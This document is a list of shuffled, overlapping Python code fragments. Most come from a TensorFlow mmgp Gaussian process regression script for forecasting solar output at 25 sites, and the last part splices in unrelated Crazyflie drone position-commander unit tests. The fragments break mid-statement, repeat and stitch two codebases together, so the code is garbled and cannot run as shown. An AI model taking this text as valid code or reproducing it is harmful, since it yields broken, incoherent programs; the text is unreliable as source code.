"num_inducing): # Initialize inducing points using clustering. mini_batch = sklearn.cluster.MiniBatchKMeans(num_inducing)", "\"=\" + \"%.4f\" % m.nlpd_general(test.X, test.Y, batch_size = BATCH_SIZE)) error_rate_end", "= pickle.load(f) with open(os.path.join(dpath, dlinkfile), 'rb') as f: d_link =", "diag_post=DIAG_POST, sparse_prior=SPARSE_PRIOR, sparse_post=SPARSE_POST, num_samples=NUM_SAMPLES, predict_samples=PRED_SAMPLES) print(\"model set\") # initialise losses", "except: print('nlpd_samples export fail') print(\"Final \" + error_rate.get_name() + \"=\"", "= False # If True saves samples of nlpds for", "True: nlpd_samples, nlpd_meanvar = m.nlpd_samples(test.X, test.Y, batch_size = BATCH_SIZE) try:", "csv.writer(f).writerow(['epoch', 'fit_runtime', 'nelbo', error_rate.get_name(),'generalised_nlpd']) with open(\"log_params.csv\", 'w', newline='') as f:", "set\") Z = init_z(data.X, NUM_INDUCING) print('inducing points set') m =", "get_inputs() Ytr, Yte, Xtr, Xte = d['Ytr'], d['Yte'], d['Xtr'], d['Xte']", "export fail') print(\"Final \" + error_rate.get_name() + \"=\" + \"%.4f\"", "to pivot position weight_struct[i] = [row_0] + row nodes =", "in range(output_dim)] for i in range(output_dim): lag_active_dims_s[i] = list(range(lag_dim*i, lag_dim*(i+1)))", "import traceback import time import sklearn.cluster import csv import sys", "TOL = FLAGS.opt_tol VAR_STEPS = FLAGS.var_steps DIAG_POST = False SPARSE_PRIOR", "', len(kern)) print('no. groups = ', len(block_struct), 'no. latent functions", "= IS_ARD), kernels.PeriodicSliceFixed(1, active_dims=[Xtr.shape[1]-1], lengthscale=0.5, std_dev=1.0, period = 144) ])", "%x %Z')) m.fit(data, o, var_steps = VAR_STEPS, epochs = EPOCHS,", "- link inputs is a 25x2 array (link inputs repeated", "+ \"=\" + \"%.4f\" % error_rate.eval(test.Y, ypred[0])) print(\"Final \" +", "\", [e.get_name() for e in error_rate_end]) print([e.eval(test.Y, ypred[0]) for e", "bool DIAG_POST) - Sparse or full posterior covariance (when Kronecker", "test sets (dictionary pickle) Data for example: - normalised solar", "initialise losses and logging error_rate = losses.RootMeanSqError(data.Dout) os.chdir(outdir) with open(\"log_results.csv\",", "= row.pop(i) # bring diag to pivot position weight_struct[i] =", "kernlink, block_struct, Z, link_inputs, num_components=NUM_COMPONENTS, diag_post=DIAG_POST, sparse_prior=SPARSE_PRIOR, sparse_post=SPARSE_POST, num_samples=NUM_SAMPLES, predict_samples=PRED_SAMPLES)", "csv.writer(f).writerow(['epoch', 'batch_time', 'nelbo_time', 'pred_time', 'gen_nlpd_time', error_rate.get_name()+'_time']) # optimise o =", "any extra accuracy measures at end of routine print(\"Final \",", "- Xtr[:, 50] time index - link inputs is a", "util.util.get_flags() BATCH_SIZE = FLAGS.batch_size LEARNING_RATE = FLAGS.learning_rate DISPLAY_STEP = FLAGS.display_step", "= 0.2) # p, q, lik_noise print(\"likelihood and kernels set\")", "test = test, loss = error_rate, tolerance = TOL, max_time=MAXTIME", "= datasets.DataSet(Xte.astype(np.float32), Yte.astype(np.float32), shuffle=False) print(\"dataset created\") # model config block", "(dictionary pickle) Data for example: - normalised solar data for", "FLAGS.display_step EPOCHS = FLAGS.n_epochs NUM_SAMPLES = FLAGS.mc_train PRED_SAMPLES = FLAGS.mc_test", "nlpd_samples, nlpd_meanvar = m.nlpd_samples(test.X, test.Y, batch_size = BATCH_SIZE) try: np.savetxt(\"nlpd_meanvar.csv\",", "= ', len(block_struct), 'no. latent functions =', len([i for b", "= link_inputs[i] = 1.0 See model class preamble and example", "required: block_struct, link_inputs, kern_link, kern #block_struct nested list of grouping", "or Kronecker-structured variational posterior covariance Sr (set bool DIAG_POST) -", "kern = k_rows + k_f print('len link_inputs ',len(link_inputs)) print('len kernlink", "\"=\" + \"%.4f\" % error_rate.eval(test.Y, ypred[0])) print(\"Final \" + \"generalised_nlpd\"", "= FLAGS.var_steps DIAG_POST = False SPARSE_PRIOR = False SPARSE_POST =", "in b])) print('number latent functions', node_dim*(output_dim+1)) likelihood = likelihoods.CovaryingRegressionNetwork(output_dim, node_dim,", "inputs (link inputs used repeatedly but can have link input", "for each site in order Model Options: - Sparse or", "range(output_dim)] k_f = [kernels.RadialBasisSlice(lag_dim, active_dims=lag_active_dims_s[i], std_dev = 1.0, white =", "class preamble and example below for further details. \"\"\" import", "d['Xte'] data = datasets.DataSet(Xtr.astype(np.float32), Ytr.astype(np.float32), shuffle=False) test = datasets.DataSet(Xte.astype(np.float32), Yte.astype(np.float32),", "output_dim)) row_0 = row.pop(i) # bring diag to pivot position", "'p25_linkinputsarray.pickle' outdir = '/experiments/results/p25_nonsparse_cmmgp/' try: os.makedirs(outdir) except FileExistsError: pass def", "25 #P node_dim = 25 #Q lag_dim = 2 save_nlpds", "set') m = mmgp.ExplicitSCMMGP(output_dim, likelihood, kern, kernlink, block_struct, Z, link_inputs,", "os.makedirs(outdir) except FileExistsError: pass def get_inputs(): \"\"\" inputsdict contains {'Yte':", "latent functions =', len([i for b in block_struct for i", "time.strftime('%X %x %Z')) m.fit(data, o, var_steps = VAR_STEPS, epochs =", "model with full Krhh. Inputs: Data training and test sets", "= FLAGS.is_ard TOL = FLAGS.opt_tol VAR_STEPS = FLAGS.var_steps DIAG_POST =", "for i in range(output_dim)] # for full W row blocks,", "PRED_SAMPLES = FLAGS.mc_test NUM_INDUCING = FLAGS.n_inducing NUM_COMPONENTS = FLAGS.num_components IS_ARD", "= [kernels.CompositeKernel('mul',[kernels.RadialBasis(2, std_dev=2.0, lengthscale=1.0, white=0.01, input_scaling = IS_ARD), kernels.CompactSlice(2, active_dims=[0,1],", "batch_size = BATCH_SIZE) #same batchsize used for convenience np.savetxt(\"predictions.csv\", np.concatenate(ypred,", "SPARSE_POST = True Note on specifying group structure for F:", "link_inputs, kern_link, kern #block_struct nested list of grouping order weight_struct", "done\") # define GPRN P and Q output_dim = 25", "== True: nlpd_samples, nlpd_meanvar = m.nlpd_samples(test.X, test.Y, batch_size = BATCH_SIZE)", "d_link = get_inputs() Ytr, Yte, Xtr, Xte = d['Ytr'], d['Yte'],", "Inputs: Data training and test sets (dictionary pickle) Data for", "group) with normalised lat,long for each site in order Model", "std_dev = 1.0, white = 0.01, input_scaling = IS_ARD) for", "std_dev=2.0, lengthscale=1.0, white=0.01, input_scaling = IS_ARD), kernels.CompactSlice(2, active_dims=[0,1], lengthscale =", "as for predictions except: print('nlpd_meanvar export fail') try: np.savetxt(\"nlpd_samples.csv\", nlpd_samples,", "a nested list of grouping order Where functions [i] are", "in list(range(output_dim * node_dim, output_dim * node_dim + output_dim))] block_struct", "2276, P = 25, D = 51 - Xtr[:, :50]", "covariance Sr (set bool DIAG_POST) - Sparse or full posterior", "to bring diagonal to first position link_inputs = [[] for", "list(range(lag_dim*i, lag_dim*(i+1))) k_rows = [kernels.CompositeKernel('mul',[kernels.RadialBasisSlice(lag_dim, active_dims=lag_active_dims_s[i], std_dev = 1.0, white", "25 #Q lag_dim = 2 save_nlpds = False # If", "= 1.0, white = 0.01, input_scaling = IS_ARD), kernels.PeriodicSliceFixed(1, active_dims=[Xtr.shape[1]-1],", "observations for each site in order - Xtr[:, 50] time", "forecasting model with full Krhh. Inputs: Data training and test", "import csv import sys import mmgp from mmgp import likelihoods", "= '/experiments/results/p25_nonsparse_cmmgp/' try: os.makedirs(outdir) except FileExistsError: pass def get_inputs(): \"\"\"", "for e in error_rate_end] + predvar]) print(\"finish time = \"", "returns inputsdict, Xtr_link (ndarray, shape = [P, D_link_features]) \"\"\" with", "len([i for b in block_struct for i in b])) print('number", "= test, loss = error_rate, tolerance = TOL, max_time=MAXTIME )", "complete\") # export final predicted values and loss metrics ypred", "1200 print(\"settings done\") # define GPRN P and Q output_dim", "mmgp.ExplicitSCMMGP(output_dim, likelihood, kern, kernlink, block_struct, Z, link_inputs, num_components=NUM_COMPONENTS, diag_post=DIAG_POST, sparse_prior=SPARSE_PRIOR,", ") print(\"optimisation complete\") # export final predicted values and loss", "= 2276, P = 25, D = 51 - Xtr[:,", "[losses.MeanAbsError(data.Dout)] # any extra accuracy measures at end of routine", "node_dim + output_dim))] block_struct = weight_struct + nodes # create", "IS_ARD), kernels.PeriodicSliceFixed(1, active_dims=[Xtr.shape[1]-1], lengthscale=0.5, std_dev=1.0, period = 144) ]) for", "sets (dictionary pickle) Data for example: - normalised solar data", "as f: d_all = pickle.load(f) with open(os.path.join(dpath, dlinkfile), 'rb') as", "Model Options: - Sparse or full x-function covariance prior Krhh", "import util dpath = '/experiments/datasets/' dfile = 'p25_inputsdict.pickle' dlinkfile =", "Xte = d['Ytr'], d['Yte'], d['Xtr'], d['Xte'] data = datasets.DataSet(Xtr.astype(np.float32), Ytr.astype(np.float32),", "batchsize used for convenience np.savetxt(\"predictions.csv\", np.concatenate(ypred, axis=1), delimiter=\",\") if save_nlpds", "FLAGS.n_epochs NUM_SAMPLES = FLAGS.mc_train PRED_SAMPLES = FLAGS.mc_test NUM_INDUCING = FLAGS.n_inducing", "below for further details. \"\"\" import os import numpy as", "losses from mmgp import util dpath = '/experiments/datasets/' dfile =", "print('inducing points set') m = mmgp.ExplicitSCMMGP(output_dim, likelihood, kern, kernlink, block_struct,", "in range(output_dim)] k_f = [kernels.RadialBasisSlice(lag_dim, active_dims=lag_active_dims_s[i], std_dev = 1.0, white", "regression forecasting model with full Krhh. Inputs: Data training and", "order weight_struct = [[] for _ in range(output_dim)] for i", "weight_struct = [[] for _ in range(output_dim)] for i in", "ypred = m.predict(test.X, batch_size = BATCH_SIZE) #same batchsize used for", "i in range(output_dim)] kern = k_rows + k_f print('len link_inputs", "'w', newline='') as f: csv.writer(f).writerow(['epoch', 'raw_kernel_params', 'raw_kernlink_params', 'raw_likelihood_params', 'raw_weights']) with", "= [ [] for _ in range(output_dim)] for i in", "'pred_time', 'gen_nlpd_time', error_rate.get_name()+'_time']) # optimise o = tf.train.AdamOptimizer(LEARNING_RATE, beta1=0.9,beta2=0.99) print(\"start", "clustering. mini_batch = sklearn.cluster.MiniBatchKMeans(num_inducing) cluster_indices = mini_batch.fit_predict(train_inputs) inducing_locations = mini_batch.cluster_centers_", "Yte, Xtr, Xte = d['Ytr'], d['Yte'], d['Xtr'], d['Xte'] data =", "lengthscale = 2.0, input_scaling = IS_ARD)] ) for i in", "covarying mmgp model with sparse Kronecker posterior): DIAG_POST = False", "as f: csv.writer(f).writerow(['epoch', 'fit_runtime', 'nelbo', error_rate.get_name(),'generalised_nlpd']) with open(\"log_params.csv\", 'w', newline='')", "values and loss metrics ypred = m.predict(test.X, batch_size = BATCH_SIZE)", "k_rows = [kernels.CompositeKernel('mul',[kernels.RadialBasisSlice(lag_dim, active_dims=lag_active_dims_s[i], std_dev = 1.0, white = 0.01,", "Z, link_inputs, num_components=NUM_COMPONENTS, diag_post=DIAG_POST, sparse_prior=SPARSE_PRIOR, sparse_post=SPARSE_POST, num_samples=NUM_SAMPLES, predict_samples=PRED_SAMPLES) print(\"model set\")", "error_rate_end = [losses.MeanAbsError(data.Dout)] # any extra accuracy measures at end", "for i in range(output_dim): lag_active_dims_s[i] = list(range(lag_dim*i, lag_dim*(i+1))) k_rows =", "sklearn.cluster.MiniBatchKMeans(num_inducing) cluster_indices = mini_batch.fit_predict(train_inputs) inducing_locations = mini_batch.cluster_centers_ return inducing_locations FLAGS", "(where P=Q): block all w.1, w.2 etc, leave f independent", "error_rate.get_name(),'generalised_nlpd']) with open(\"log_params.csv\", 'w', newline='') as f: csv.writer(f).writerow(['epoch', 'raw_kernel_params', 'raw_kernlink_params',", "loss = error_rate, tolerance = TOL, max_time=MAXTIME ) print(\"optimisation complete\")", "print('nlpd_meanvar export fail') try: np.savetxt(\"nlpd_samples.csv\", nlpd_samples, delimiter=\",\") # NP x", "# option for non-diag post MAXTIME = 1200 print(\"settings done\")", "error_rate_end]) print([e.eval(test.Y, ypred[0]) for e in error_rate_end]) predvar = [np.mean(np.mean(ypred[1]))]", "= sklearn.cluster.MiniBatchKMeans(num_inducing) cluster_indices = mini_batch.fit_predict(train_inputs) inducing_locations = mini_batch.cluster_centers_ return inducing_locations", "model SPARSE_POST = True Note on specifying group structure for", "mini_batch.cluster_centers_ return inducing_locations FLAGS = util.util.get_flags() BATCH_SIZE = FLAGS.batch_size LEARNING_RATE", "time import sklearn.cluster import csv import sys import mmgp from", "P and Q output_dim = 25 #P node_dim = 25", "print(\"Final \", [e.get_name() for e in error_rate_end]) print([e.eval(test.Y, ypred[0]) for", "S (NxS concat for P tasks) except: print('nlpd_samples export fail')", "preamble and example below for further details. \"\"\" import os", "= 1.0, white = 0.01, input_scaling = IS_ARD) for i", "= VAR_STEPS, epochs = EPOCHS, batch_size = BATCH_SIZE, display_step=DISPLAY_STEP, test", "of grouping order Where functions [i] are independent i.e. in", "_ in range(output_dim)] for i in range(output_dim): row = list(range(i,", "in range(output_dim): row = list(range(i, i+output_dim*(node_dim-1)+1, output_dim)) row_0 = row.pop(i)", "\"%.4f\" % m.nlpd_general(test.X, test.Y, batch_size = BATCH_SIZE)) error_rate_end = [losses.MeanAbsError(data.Dout)]", "(ndarray, shape = [P, D_link_features]) \"\"\" with open(os.path.join(dpath, dfile), 'rb')", "kernels.PeriodicSliceFixed(1, active_dims=[Xtr.shape[1]-1], lengthscale=0.5, std_dev=1.0, period = 144) ]) for i", "csv.writer(f).writerows([[e.get_name() for e in error_rate_end] + ['pred_var'], [e.eval(test.Y, ypred[0]) for", "functions [i] are independent i.e. in own block, set link_kernel[i]", "predvar \", predvar) with open(\"final_losses.csv\", 'w', newline='') as f: csv.writer(f).writerows([[e.get_name()", "init_z(train_inputs, num_inducing): # Initialize inducing points using clustering. mini_batch =", "for further details. \"\"\" import os import numpy as np", "= 51 - Xtr[:, :50] 2 recent lagged observations for", "False SPARSE_PRIOR = False SPARSE_POST = True # option for", "of size = batchsize returns inputsdict, Xtr_link (ndarray, shape =", "print(\"dataset created\") # model config block rows (where P=Q): block", "posterior; set bool SPARSE_POST) Current Settings (sparse covarying mmgp model", "np. arrays are truncated to evenly split into batches of", "end of routine print(\"Final \", [e.get_name() for e in error_rate_end])", "[e.get_name() for e in error_rate_end]) print([e.eval(test.Y, ypred[0]) for e in", "epochs = EPOCHS, batch_size = BATCH_SIZE, display_step=DISPLAY_STEP, test = test,", "for i in range(output_dim)] kern = k_rows + k_f print('len", "+ output_dim))] block_struct = weight_struct + nodes # create link", "np.savetxt(\"predictions.csv\", np.concatenate(ypred, axis=1), delimiter=\",\") if save_nlpds == True: nlpd_samples, nlpd_meanvar", "from mmgp import likelihoods from mmgp import kernels import tensorflow", "import likelihoods from mmgp import kernels import tensorflow as tf", "as tf from mmgp import datasets from mmgp import losses", "N_train = 4200, N_test = 2276, P = 25, D", "\" + error_rate.get_name() + \"=\" + \"%.4f\" % error_rate.eval(test.Y, ypred[0]))", "Krhh (set bool SPARSE_PRIOR) - Diagonal or Kronecker-structured variational posterior", "or full x-function covariance prior Krhh (set bool SPARSE_PRIOR) -", "node_dim = 25 #Q lag_dim = 2 save_nlpds = False", "position weight_struct[i] = [row_0] + row nodes = [[x] for", "= BATCH_SIZE, display_step=DISPLAY_STEP, test = test, loss = error_rate, tolerance", "inputs repeated for every group) with normalised lat,long for each", "a 25x2 array (link inputs repeated for every group) with", "Xtr_link (ndarray, shape = [P, D_link_features]) \"\"\" with open(os.path.join(dpath, dfile),", "print('len kern ', len(kern)) print('no. groups = ', len(block_struct), 'no.", "for e in error_rate_end]) predvar = [np.mean(np.mean(ypred[1]))] print(\"Final predvar \",", "error_rate_end]) predvar = [np.mean(np.mean(ypred[1]))] print(\"Final predvar \", predvar) with open(\"final_losses.csv\",", "x S (NxS concat for P tasks) except: print('nlpd_samples export", "import tensorflow as tf from mmgp import datasets from mmgp", "SPARSE_PRIOR = False SPARSE_POST = True # option for non-diag", "training and test sets (dictionary pickle) Data for example: -", "ypred[0]) for e in error_rate_end]) predvar = [np.mean(np.mean(ypred[1]))] print(\"Final predvar", "def init_z(train_inputs, num_inducing): # Initialize inducing points using clustering. mini_batch", "white = 0.01, input_scaling = IS_ARD), kernels.PeriodicSliceFixed(1, active_dims=[Xtr.shape[1]-1], lengthscale=0.5, std_dev=1.0,", "e in error_rate_end]) predvar = [np.mean(np.mean(ypred[1]))] print(\"Final predvar \", predvar)", "# N x 2P as for predictions except: print('nlpd_meanvar export", "b])) print('number latent functions', node_dim*(output_dim+1)) likelihood = likelihoods.CovaryingRegressionNetwork(output_dim, node_dim, std_dev", "import mmgp from mmgp import likelihoods from mmgp import kernels", "i in range(output_dim)] k_f = [kernels.RadialBasisSlice(lag_dim, active_dims=lag_active_dims_s[i], std_dev = 1.0,", "NP x S (NxS concat for P tasks) except: print('nlpd_samples", "print(\"Final \" + \"generalised_nlpd\" + \"=\" + \"%.4f\" % m.nlpd_general(test.X,", "= 1.0 See model class preamble and example below for", "in range(node_dim)] kernlink = klink_rows + klink_f # create 'within'", "error_rate.eval(test.Y, ypred[0])) print(\"Final \" + \"generalised_nlpd\" + \"=\" + \"%.4f\"", "LEARNING_RATE = FLAGS.learning_rate DISPLAY_STEP = FLAGS.display_step EPOCHS = FLAGS.n_epochs NUM_SAMPLES", "[1.0 for i in range(output_dim)] # for full W row", "rows, node functions # lists required: block_struct, link_inputs, kern_link, kern", "i+output_dim*(node_dim-1)+1, output_dim)) row_0 = row.pop(i) # bring diag to pivot", "input_scaling = IS_ARD), kernels.CompactSlice(2, active_dims=[0,1], lengthscale = 2.0, input_scaling =", "25, D = 51 - Xtr[:, :50] 2 recent lagged", "f: csv.writer(f).writerows([[e.get_name() for e in error_rate_end] + ['pred_var'], [e.eval(test.Y, ypred[0])", "for predictions except: print('nlpd_meanvar export fail') try: np.savetxt(\"nlpd_samples.csv\", nlpd_samples, delimiter=\",\")", "FLAGS.mc_test NUM_INDUCING = FLAGS.n_inducing NUM_COMPONENTS = FLAGS.num_components IS_ARD = FLAGS.is_ard", "rows (where P=Q): block all w.1, w.2 etc, leave f", "input_scaling = IS_ARD) for i in range(output_dim)] kern = k_rows", "range(output_dim)] for i in range(output_dim): idx = list(range(d_link.shape[0])) link_inputs[i] =", "of grouping order weight_struct = [[] for _ in range(output_dim)]", "link_inputs + [1.0 for i in range(output_dim)] # for full", "= False SPARSE_PRIOR = False SPARSE_POST = True # option", "kernlink = klink_rows + klink_f # create 'within' kernel #", "[kernels.RadialBasisSlice(lag_dim, active_dims=lag_active_dims_s[i], std_dev = 1.0, white = 0.01, input_scaling =", "= error_rate, tolerance = TOL, max_time=MAXTIME ) print(\"optimisation complete\") #", "to evenly split into batches of size = batchsize returns", "# model config block rows (where P=Q): block all w.1,", "pickle) Data for example: - normalised solar data for 25", "white = 0.01, input_scaling = IS_ARD) for i in range(output_dim)]", "= klink_rows + klink_f # create 'within' kernel # kern", "link_inputs ',len(link_inputs)) print('len kernlink ',len(kernlink)) print('len kern ', len(kern)) print('no.", "link inputs is a 25x2 array (link inputs repeated for", "'fit_runtime', 'nelbo', error_rate.get_name(),'generalised_nlpd']) with open(\"log_params.csv\", 'w', newline='') as f: csv.writer(f).writerow(['epoch',", "as f: csv.writer(f).writerows([[e.get_name() for e in error_rate_end] + ['pred_var'], [e.eval(test.Y,", "= FLAGS.batch_size LEARNING_RATE = FLAGS.learning_rate DISPLAY_STEP = FLAGS.display_step EPOCHS =", "= 'p25_inputsdict.pickle' dlinkfile = 'p25_linkinputsarray.pickle' outdir = '/experiments/results/p25_nonsparse_cmmgp/' try: os.makedirs(outdir)", "for equivalent sparse scmmgp model SPARSE_POST = True Note on", "Xtr[:, :50] 2 recent lagged observations for each site in", "from mmgp import losses from mmgp import util dpath =", "NUM_SAMPLES = FLAGS.mc_train PRED_SAMPLES = FLAGS.mc_test NUM_INDUCING = FLAGS.n_inducing NUM_COMPONENTS", "range(output_dim)] for i in range(output_dim): row = list(range(i, i+output_dim*(node_dim-1)+1, output_dim))", "traceback import time import sklearn.cluster import csv import sys import", "= losses.RootMeanSqError(data.Dout) os.chdir(outdir) with open(\"log_results.csv\", 'w', newline='') as f: csv.writer(f).writerow(['epoch',", "k_f = [kernels.RadialBasisSlice(lag_dim, active_dims=lag_active_dims_s[i], std_dev = 1.0, white = 0.01,", "\"%.4f\" % error_rate.eval(test.Y, ypred[0])) print(\"Final \" + \"generalised_nlpd\" + \"=\"", "Initialize inducing points using clustering. mini_batch = sklearn.cluster.MiniBatchKMeans(num_inducing) cluster_indices =", "klink_f = [1.0 for i in range(node_dim)] kernlink = klink_rows", "+ \"generalised_nlpd\" + \"=\" + \"%.4f\" % m.nlpd_general(test.X, test.Y, batch_size", "minute forecast - N_train = 4200, N_test = 2276, P", "+ \"=\" + \"%.4f\" % m.nlpd_general(test.X, test.Y, batch_size = BATCH_SIZE))", "index - link inputs is a 25x2 array (link inputs", "nlpd_meanvar = m.nlpd_samples(test.X, test.Y, batch_size = BATCH_SIZE) try: np.savetxt(\"nlpd_meanvar.csv\", nlpd_meanvar,", "config block rows (where P=Q): block all w.1, w.2 etc,", "1.0, white = 0.01, input_scaling = IS_ARD), kernels.PeriodicSliceFixed(1, active_dims=[Xtr.shape[1]-1], lengthscale=0.5,", "kern #block_struct nested list of grouping order weight_struct = [[]", "in own block, set link_kernel[i] = link_inputs[i] = 1.0 See", "idx, :] link_inputs = link_inputs + [1.0 for i in", "tf.train.AdamOptimizer(LEARNING_RATE, beta1=0.9,beta2=0.99) print(\"start time = \", time.strftime('%X %x %Z')) m.fit(data,", "= m.nlpd_samples(test.X, test.Y, batch_size = BATCH_SIZE) try: np.savetxt(\"nlpd_meanvar.csv\", nlpd_meanvar, delimiter=\",\")", "cluster_indices = mini_batch.fit_predict(train_inputs) inducing_locations = mini_batch.cluster_centers_ return inducing_locations FLAGS =", "import sys import mmgp from mmgp import likelihoods from mmgp", "kern_link, kern #block_struct nested list of grouping order weight_struct =", "and Q output_dim = 25 #P node_dim = 25 #Q" ]
[ "self.sut.get_position() # Test self.sut.left(1.0, 2.0) # Assert duration = 1.0", "Assert self.param_mock.set_value.assert_has_calls([ call('stabilizer.controller', '2') ]) def test_that_take_off_raises_exception_if_not_connected( self, sleep_mock): #", "'1'), call('kalman.resetEstimation', '0') ]) def test_that_the_hi_level_commander_is_activated_on_take_off( self, sleep_mock): # Fixture", "sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.up(1.0,", "Assert duration = 1.0 / 2.0 final_pos = ( inital_pos[0],", "self.sut.down(1.0, 2.0) # Assert duration = 1.0 / 2.0 final_pos", "/ 2.0 final_pos = ( inital_pos[0], inital_pos[1], inital_pos[2] + 1)", "def test_that_it_goes_up( self, sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position()", "velocity=0.6) # Test actual = self.sut.get_position() # Assert self.assertEqual(actual, (0.0,", "# This program is distributed in the hope that it", "/ 0.6 self.commander_mock.takeoff.assert_called_with(0.4, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_up_to_default_height( self, sleep_mock): #", "def test_that_it_goes_up_to_default_height( self, sleep_mock): # Fixture sut = PositionHlCommander(self.cf_mock, default_height=0.4)", "self.param_mock self.cf_mock.is_connected.return_value = True self.sut = PositionHlCommander(self.cf_mock) def test_that_the_estimator_is_reset_on_take_off( self,", "self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.up(1.0, 2.0) # Assert", "# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, #", "/___/\\___/ # # Copyright (C) 2018 Bitcraze AB # #", "/ __ )(_) /_______________ _____ ___ # | 0xBC |", "# Test sut.take_off() # Assert self.param_mock.set_value.assert_has_calls([ call('kalman.initialX', '{:.2f}'.format(1.0)), call('kalman.initialY', '{:.2f}'.format(2.0)),", "Fixture sut = PositionHlCommander(self.cf_mock, default_height=0.4) # Test sut.take_off(velocity=0.6) # Assert", "WITHOUT ANY WARRANTY; without even the implied warranty of #", "= 1.0 / 2.0 final_pos = ( inital_pos[0] + 1.0,", "self.commander_mock self.cf_mock.param = self.param_mock self.cf_mock.is_connected.return_value = True self.sut = PositionHlCommander(self.cf_mock)", "inital_pos[1] - 1, inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0, duration)", "51 Franklin Street, Fifth Floor, Boston, # MA 02110-1301, USA.", "self.cf_mock.is_connected.return_value = False # Test # Assert with self.assertRaises(Exception): self.sut.take_off()", "test_that_default_velocity_is_used( self, sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position() self.sut.set_default_velocity(7)", "self.sut.get_position() # Test self.sut.right(1.0, 2.0) # Assert duration = 1.0", "Test sut.take_off(velocity=0.6) # Assert duration = 0.4 / 0.6 self.commander_mock.takeoff.assert_called_with(0.4,", "__ / / __/ ___/ ___/ __ `/_ / /", "3.0) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_forward(", "0.0, 0.0), (1.0, 2.0, 3.0)) duration = distance / 4.0", "= ( inital_pos[0] + 1.0, inital_pos[1] + 2.0, inital_pos[2] +", "__ # +------+ / __ )(_) /_______________ _____ ___ #", "/ / /_/ /__/ / / /_/ / / /_/", "Test # Assert with self.assertRaises(Exception): self.sut.take_off() def test_that_take_off_raises_exception_when_already_flying( self, sleep_mock):", "= distance / 4.0 self.commander_mock.go_to.assert_called_with( 1.0, 2.0, 3.0, 0.0, duration)", "/ / /_/ / / /_/ __/ # || ||", "2.0, 3.0)) duration = distance / 7.0 self.commander_mock.go_to.assert_called_with( 1.0, 2.0,", "duration) sleep_mock.assert_called_with(duration) ###################################################################### def _distance(self, p1, p2): dx = p1[0]", "warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.", "self.sut.get_position() self.sut.set_default_velocity(7) # Test self.sut.go_to(1.0, 2.0, 3.0) # Assert distance", "0, duration) sleep_mock.assert_called_with(duration) def test_that_default_velocity_is_used( self, sleep_mock): # Fixture self.sut.take_off()", "]) def test_that_controller_is_selected_on_take_off( self, sleep_mock): # Fixture self.sut.set_controller(PositionHlCommander.CONTROLLER_MELLINGER) # Test", "1, inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0, duration) sleep_mock.assert_called_with(duration) def", "0.4)) def test_that_it_goes_to_position( self, sleep_mock): # Fixture self.sut.take_off() inital_pos =", "| / __ / / __/ ___/ ___/ __ `/_", "sleep_mock): # Fixture self.cf_mock.is_connected.return_value = False # Test # Assert", "0.4 / 0.6 self.commander_mock.takeoff.assert_called_with(0.4, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_down_on_landing( self, sleep_mock):", "/_/ __/ # || || /_____/_/\\__/\\___/_/ \\__,_/ /___/\\___/ # #", "= 0.5 / 0.5 self.commander_mock.takeoff.assert_called_with(0.5, duration1) self.commander_mock.land.assert_called_with(0.0, duration2) sleep_mock.assert_called_with(duration1) sleep_mock.assert_called_with(duration2)", "final_pos[1], final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_back( self, sleep_mock): #", "# Copyright (C) 2018 Bitcraze AB # # This program", "7.0 self.commander_mock.go_to.assert_called_with( 1.0, 2.0, 5.0, 0.0, duration) sleep_mock.assert_called_with(duration) ###################################################################### def", "Test sut.take_off() # Assert self.param_mock.set_value.assert_has_calls([ call('kalman.initialX', '{:.2f}'.format(1.0)), call('kalman.initialY', '{:.2f}'.format(2.0)), call('kalman.initialZ',", "version. # # This program is distributed in the hope", "Fixture self.sut.take_off(height=0.4, velocity=0.6) # Test actual = self.sut.get_position() # Assert", "self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.left(1.0, 2.0) # Assert", "you can redistribute it and/or # modify it under the", "# of the License, or (at your option) any later", "'0') ]) def test_that_the_hi_level_commander_is_activated_on_take_off( self, sleep_mock): # Fixture # Test", "sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.move_distance(1.0,", "self.sut.back(1.0, 2.0) # Assert duration = 1.0 / 2.0 final_pos", "self, sleep_mock): # Fixture sut = PositionHlCommander(self.cf_mock, default_height=0.4) # Test", "from cflib.crazyflie import Crazyflie from cflib.crazyflie import HighLevelCommander from cflib.crazyflie", "setUp(self): self.commander_mock = MagicMock(spec=HighLevelCommander) self.param_mock = MagicMock(spec=Param) self.cf_mock = MagicMock(spec=Crazyflie)", "self._distance(inital_pos, (1.0, 2.0, 3.0)) duration = distance / 7.0 self.commander_mock.go_to.assert_called_with(", "self.assertRaises(Exception): self.sut.take_off() def test_that_take_off_raises_exception_when_already_flying( self, sleep_mock): # Fixture self.sut.take_off() #", "final_pos = ( inital_pos[0] + 1.0, inital_pos[1] + 2.0, inital_pos[2]", "sleep_mock): # Fixture sut = PositionHlCommander(self.cf_mock, default_height=0.4) # Test sut.take_off(velocity=0.6)", "self.param_mock.set_value.assert_has_calls([ call('kalman.initialX', '{:.2f}'.format(1.0)), call('kalman.initialY', '{:.2f}'.format(2.0)), call('kalman.initialZ', '{:.2f}'.format(3.0)), call('kalman.resetEstimation', '1'), call('kalman.resetEstimation',", "= 1.0 / 2.0 final_pos = ( inital_pos[0] - 1.0,", "self.sut.take_off() def test_that_take_off_raises_exception_when_already_flying( self, sleep_mock): # Fixture self.sut.take_off() # Test", "write to the Free Software # Foundation, Inc., 51 Franklin", "/ 0.5 self.commander_mock.takeoff.assert_called_with(0.5, duration1) self.commander_mock.land.assert_called_with(0.0, duration2) sleep_mock.assert_called_with(duration1) sleep_mock.assert_called_with(duration2) def test_that_it_returns_current_position(", "'{:.2f}'.format(2.0)), call('kalman.initialZ', '{:.2f}'.format(3.0)), 